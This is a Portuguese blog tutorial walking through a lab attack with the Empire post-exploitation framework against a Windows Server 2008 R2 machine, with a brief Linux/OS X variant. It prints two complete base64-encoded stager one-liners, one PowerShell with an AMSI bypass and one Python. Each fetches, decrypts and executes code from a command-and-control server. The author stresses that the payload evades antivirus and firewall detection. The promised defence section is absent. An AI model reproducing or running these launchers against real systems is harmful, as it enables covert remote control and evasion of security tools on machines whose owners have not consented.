Testing EMPIRE: framework desenvolvida em python de nome Empire
Neste artigo vamos abordar uma framework desenvolvida em python de nome Empire, que se carateriza como um agente de pĂłs-exploração de puro PowerShell, construĂdo em comunicaçþes criptologicamente seguras e uma arquitetura flexĂvel, o Empire implementa a capacidade de executar agentes de PowerShell sem a necessidade de powershell.exe, constituĂdo por mĂłdulos de pĂłs-exploração rapidamente implantĂĄveis, desde loggers de chave atĂŠ Mimikatz, e comunicaçþes adaptĂĄveis ââpara se evadir Ă detecção de rede, tudo envolvido em uma estrutura com facilidade de usabilidade.
Este artigo estĂĄ dividido da seguinte forma:
- Introdução Empire
- Iniciando o Ataque
- Fase Listeners
- Fase Stagers
- Fase Agents
- Soluçþes de Defesa
- ConclusĂŁo
- ReferĂŞncias
Introdução
O Empire Ê uma estrutura de pós-exploração que inclui um agente puro do PowerShell 2.0 Windows e agentes Python 2.6 / 2.7 para Linux / OS X.
Isto dĂĄ-se pela fusĂŁo dos anteriores projetos PowerShell Empire e Python EmPyre. O PowerShell Empire estreou em BSidesLV em 2015 e Python EmPyre prĂŠ-fabricado no HackMiami 2016.
Iniciando o ataque
Para dar inicio ao ataque contra sistemas operativos Windows, utilizamos o Kali Linux, carregado com a framework em um ambiente controlado de laboratório para a execução deste exemplo pråtica, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as açþes que praticar.
Não Ê intenção deste artigo explicar o passo-a-passo da configuração do Empire, no entanto vårios documentos de boa qualidade existem na internet explicando com detalhe as configuraçþes båsicas de setup inicial, a documentação oficial tambÊm Ê um bom começo para quem ainda não teve a oportunidade de ter contato com a ferramenta.
Depois de instalado e configurado deve proceder para os prĂłximos passos, descritos em baixo.
Para iniciar a ferramenta deve digitar o seguinte comando:
root@kali:~/Programas/Empire# ./empire

Fase Listeners
Depois de a ferramenta carregar após alguns segundos, a primeira coisa que você precisa fazer Ê configurar um listener, que neste contexto representa uma måquina que fica a ouvir localmente pelo retorno de ligaçþes.
O comando dos listeners irå fazer você pular para o menu de gerenciamento do ouvinte. Todos os ouvintes ativos serão exibidos, e essa informação pode ser exibida novamente a qualquer momento com o comando da list.
O comando de informação exibirå as opçþes de ouvinte atualmente definidas.
Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > info
[!] Invalid listener name
Se o comando info retorna um aviso, ĂŠ porque o listener ainda nĂŁo foi configurado, como se pode observar pela figura em baixo.

De suma importância referenciar neste ponto, antes de prosseguir que o Empire segundo os seus developers (@harmj0y, @sixdub, @enigma0x3) passou por grandes alteraçþes desde o seu lançamento no BSidesLV (Las Vegas) em 2015, então a versão que estamos atualmente a usar em 2017 Ê a versão 2.0, o que muda ligeiramente o contexto dos comandos, mas segue o mesmo padrão de procedimentos.
ârecently made some of the biggest changes to Empire since its release at BSidesLV in 2015. â
Contudo a base do código mudou e algumas das mudanças importantes são descriminadas a seguir em inglês, no entanto a lista não Ê exaustiva, para um maior detalhe deve procurar o site dos desenvolvedores, em baixo nas referências do artigo.
Misc. Changes
First, a grab-bag of mods vs. 1.6:
- For the PowerShell launcher/stager:
- RC4 was implemented for first stage obfuscation instead of XOR
- @mattifestationâs AMSI bypass implemented in the stage0 launcher
- staging now uses HMAC/nonces
- For OS X/Python, lots of new stagers! @xorrior will have a more detailed post on these in the coming weeks:
- Epoch-syncing was removed- we know this introduces a possibility of packet replay, but too many users had too many issues with the epoch-syncing approach.
- Vastly increased debugging output. Use ââdebug to output debug information to output to empire.debug, and ââdebug 2 to display the same information to the screen.
- If agents are âorphanedâ they will restage to the control server.
- HTTP listener redone with Flask.
- Improved Kerberoasting module with credentials/get_spn_tickets.
- BloodHound module (situational_awareness/network/bloodhound) will execute collection and output to CSVs.
- We implemented @enigma0x3âs fancy new eventvwr UAC bypass
- Lots of code rot removed, several files got some fresh paint.
Feita a ressalva, vamos agora configurar um ouvinte, digitado o seguinte comando:
(Empire: listeners) > uselistener
Pode observar que tem algumas opçþes disponĂveis como:
dbx http http_com http_foreign http_hop meterpreter
No caso vamos selecionar o http_com, com o seguinte comando e ver as opçþes disponĂveis:
(Empire: listeners) > uselistener http_com
(Empire: listeners/http_com) > info

Com as configuraçþes padrão, pode de seguida digitar o seguinte comando:
(Empire: listeners/http_com) > execute
Caso a porta default TCP 80 do protocolo HTTP esteja em uso, como se pode observar na figura em baixo ĂŠ necessĂĄrio trocar por uma que esteja disponĂvel.

Neste momento pode configurar a porta com o comando:
set Port <porta_disponĂvel>
E como pode observar a porta foi redefinida para TCP 8080.

Agora pode executar a escuta com o seguinte comando:
(Empire: listeners/http_com) > execute

A qualquer momento durante a configuração pode digitar o comando help para observar os comandos disponĂveis na interface. No caso utilizamos o seguinte comando para verificar as escutas ativas.
(Empire: listeners/http_com) > listeners

Uma vez que nĂŁo vamos utilizar o primeiro Listener pode remover com o comando:
(Empire: listeners) > kill http_com
Fase Stagers
PrĂłximo passo ĂŠ configurar no menu de Listeners um alias do launcher [identificador / nome] para um ouvinte especĂfico que foi carregado anteriormente (este ĂŠ o mĂłdulo stagers / launcher que funciona em segundo plano).
Este comando pode ser executado a partir de um prompt de comando em qualquer mĂĄquina Windows alvo para iniciar o processo.
O comando a ser executado ĂŠ:
(Empire: listeners/http_com) > launcher powershell

Repare que se o comando for digitado dentro do menu dos listeners vai retornar um erro, ĂŠ necessĂĄrio entrar dentro do [identificador / nome] para funcionar corretamente, como jĂĄ foi descriminado anteriormente.
De seguida pode copiar todo cĂłdigo gerado e executar na mĂĄquina alvo, lembrando que esta ĂŠ uma ferramenta de PĂłs-ataque, entĂŁo tem que ter acesso ao nĂvel de administrador para executar o ataque com sucesso, outras tĂŠcnicas serĂŁo devidamente detalhadas futuramente.
powershell -noP -sta -w 1 -enc WwBSAGUARgBdAC4AQQBTAHMAZQBtAGIAbABZAC4ARwBlAFQAVABZAHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQBUAFYAYQBMAHUARQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBTAGUAcgBWAGkAQwBFAFAATwBpAE4AVABNAGEAbgBBAGcAZQByAF0AOgA6AEUAeABQAEUAQwBUADEAMAAwAEMATwBOAHQAaQBuAFUAZQA9ADAAOwAkAEsAPQBbAFMAWQBTAFQAZQBtAC4AVABlAFgAdAAuAEUATgBDAE8AZABpAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAVABCAFkAVABlAFMAKAAnAH0AZgB2AEAAKAAwAC8AQwAmAHMAfABoAFUARABXADIAawB3AFYAUABMAGEASQByAD0AdAArAC0AbABTACMAewAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAUwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMATwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBCAFgATwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAGkAZQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMATwBNACAASQBuAHQAZQByAG4AZQB0AEUAeABwAGwAbwByAGUAcgAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgA7ACQAaQBlAC4AUwBpAGwAZQBuAHQAPQAkAFQAcgB1AGUAOwAkAGkAZQAuAHYAaQBzAGkAYgBsAGUAPQAkAEYAYQBsAHMAZQA7ACQAZgBsAD0AMQA0ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAuADUAMAA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAaQBlAC4AbgBhAHYAaQBnAGEAdABlADIAKAAkAHMAZQByACsAJAB0ACwAJABmAGwALAAwACwAJABOAHUAbABsACwAJwBDAEYALQBSAEEAWQA6ACAAVwBRAGoAVQA3AGoARABRADEAbQBsADgARgB5AHgAZAArAEcARgBEADgARABMAEwATQB5AG8APQAnACkAOwB3AGgAaQBsAGUAKAAkAGkAZQAuAGIAdQBzAHkAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAB9ADsAJABoAHQAIAA9ACAAJABpAGUALgBkAG8AYwB1AG0AZQBuAHQALgBHAGUAdABUAHkAcABlACgAKQAuAEkAbgB2AG8AawBlAE0AZQBtAGIAZQByACgAJwBiAG8AZAB5ACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQA6ADoARwBlAHQAUAByAG8AcABlAHIAdAB5ACwAIAAkAE4AdQBsAGwALAAgACQAaQBlAC4AZABvAGMAdQBtAGUAbgB0ACwAIAAkAE4AdQBsAGwAKQAuAEkAbgBuAGUAcgBIAHQAbQBsADsAdAByAHkAIAB7ACQAZABhAHQAYQA9AFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAdAApAH0AIABjAGEAdABjAGgAIAB7ACQATgB1AGwAbAB9ACQASQB2AD0AJABEAGEAdABBAFsAMAAuAC4AMwBdADsAJABkAEEAVABBAD0AJABEAGEAdABBAFsANAAuAC4AJABEAEEAdABhAC4AbABFAE4ARwBUAEgAXQA7AC0ASgBvAGkATgBbAEMASABBAFIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
Repare que este código não Ê reconhecido como um malware, e pode ser transferido para um sistema alvo sem ser tratado como uma potencial ameaça, uma vez que Ê considerado como um comando de powershell.

O alvo escolhido no caso foi um servidor Windows Server 2008 R2 (64 bits), por ser um tipo de servidor vastamente implementado no cenĂĄrio mundial em pequenas e mĂŠdias empresas, porĂŠm o mesmo procedimento poderia ter sido implementado em sistemas Desktop Windows 7, 8 e 8.1 de (32 e 64 bits).
Os sistemas Windows Server 2012 e 2016 nĂŁo foram abordados neste artigo.

Quando este comando foi digitado no Windows automaticamente ficou ativo na memĂłria do sistema operacional e estĂĄ representado pelo PID (Process Identifier) 4220 como se pode observar pela figura seguinte.

Fase Agents
De volta à consola do Kali, podemos perceber que entramos na última fase do Empire, conhecida como Agent Stage, com os seguintes parâmetros:
Identificador / Nome: listeners/http_com
Agente de Identificação: agent 6U25H8YD
Estado: now active

Podemos observar que o payload ficou ativo no momento que foi executado no servidor, sem que o antivĂrus, anti-malware ou firewall bloquea-se qualquer comunicação, mesmo sendo executado como Administrador, vĂĄrios outros payloads testados em outros artigos e abordados anteriormente como por exemplo o Shellter podem ser bloqueados apĂłs serem deflagrados no sistema operativo, dependendo da tĂŠcnica usada de âcamuflagemâ, tĂŠcnica vulgarmente utilizada por crackers para ofuscar de alguma forma uma determinada mensagem, aplicação ou ficheiro de dados.
No entanto o Shellter ĂŠ capaz de recodificar qualquer aplicativo nativo de Windows 32 bits autĂ´nomo. Uma vez que estamos tentando evitar a detecção de Anti-vĂrus, precisamos evitar qualquer coisa que possa parecer suspeita, criando um payload em aplicaçþes ou aplicativos com mais de uma seção contendo cĂłdigo executĂĄvel, porĂŠm este assunto estĂĄ fora do escopo deste artigo.
Durante o laboratório foram testados vårios agents e podendo-se observar que o ativo utilizado ao longo da demonstração têm o PID 4220 e estå presente em nossa consola do Empire, para tal digitamos o seguinte comando:
(Empire: listeners/http_com) > agents

Para tornar a leitura mais fĂĄcil e assim identificar mais facilmente um alvo poderĂĄ renomear o nome do Agente com o seguinte comando:
(Empire: agents) > rename 6U25H8YD WS2008R2

Os outros agentes uma vez que não estão mais em execução podem ser facilmente removidos com os comandos:
(Empire: agents) > remove 2GB5PZHU
(Empire: agents) > remove LB1WZ6K9
(Empire: agents) > remove YGSXKR41
Por Ăşltimo para se conectar ao alvo deve digitar o seguinte comando:
(Empire: agents) > interact WS2008R2

De seguida para ver as opçþes que tem sobre a mĂĄquina alvo, pode digitar help comando que estĂĄ disponĂvel a qualquer momento das trĂŞs fases.
(Empire: WS2008R2) > help

Importante entender neste ponto que embora o artigo nĂŁo tenha como principal alvo nenhum sistema operativo alĂŠm da Microsoft, o Empire funciona de igual forma para os sistemas operativos Linux e OSX, como exemplo rĂĄpido deixamos os seguintes comandos que cobrem as duas primeiras fases:
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set PORT 8081
(Empire: listeners/http) > execute
(Empire: listeners/http) > launcher python
echo "import sys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4LjIuNTA6ODA4MSc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249OXF4dWRQVW91V0ZWSDBZZmxEd0tBMnI2S1RVPSIpOwppZiB1cmxsaWIyLmdldHByb3hpZXMoKToKICAgbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKCk7CiAgIG8uYWRkX2hhbmRsZXIodXJsbGliMi5Qcm94eUhhbmRsZXIodXJsbGliMi5nZXRwcm94aWVzKCkpKQogICB1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd9ZnZAKDAvQyZzfGhVRFcya3dWUExhSXI9dCstbFMjeyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSk='));" | python &
(Empire: listeners/http) > agents

Repare que apĂłs executar o cĂłdigo na parte debaixo do shell o agent BIFJL1LF ficou ativo e a consola do empire apresenta agora 2 agentes, o do Windows previamente criado e agora o do Linux / OSX, neste momento concluĂmos com sucesso a implantação de nosso exploit.
ConclusĂŁo:
Neste artigo abordamos a ferramenta Empire desenvolvida em Python que em 2017 chegou à sua fase mais madura de desenvolvimento, com mais potencialidade e diversidade. Embora o foco do laboratório tenha sido apresentar vulnerabilidades em sistemas da Microsoft, o mesmo serve para o Linux e o MAC, todos os comandos são iguais e o mecanismo de implementação/gestão Ê caraterizado da mesma forma que o apresentado.
A ferramenta apresenta uma solução bastante pråtica de funcionamento que faz lembra o Metasploit outra ferramente de Penetration Testing mas com capacidades de utilização diferentes. O Empire Ê maioritariamente uma ferramente de Pós-ataque não se caracterizando em ferramentas do tipo RPC ( Remote Procedure Call) que Ê uma tecnologia de comunicação entre processos que permite a um programa de computador chamar um procedimento em outro espaço de endereçamento, geralmente outro computador, conectado por uma redes ou infraestrutura.
ReferĂŞncias:
----------------------------------//-----------------------//-------------------------------------
Autor: Carlos Rodrigues
Especialista em Eng. de Telecomunicaçþes e Segurança Computacional
Fundador e mentor do Projeto Open Source LibertyNET
ComentĂĄrios
Postar um comentĂĄrio